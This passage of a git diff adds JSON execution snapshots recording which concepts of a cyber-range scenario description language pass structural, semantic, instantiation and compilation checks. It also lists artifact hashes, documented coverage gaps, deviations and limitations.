"docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "7531f0ffb125a928a8cd9c8b57443aa175c3dc7ea921f0b51eab6377f2443459", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "99f7667388056bd8b98bb553f270a6f954882f4b", + "snapshot_id": "issue-1360-specification-coverage-v48", + "snapshot_revision": "48.0.0", + "source_state": { + "base_revision": "99f7667388056bd8b98bb553f270a6f954882f4b", + "checkout_state": "modified", + "implementation_digest": "2ad3010ff26ef5d14e206cc2b51573a17e684cd7fef661e062b0a9690da080fa", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v49.json b/docs/research/specification-coverage/execution-snapshot-v49.json new file mode 100644 index 000000000..bd540bfe5 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v49.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-25T02:34:46.514076+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + 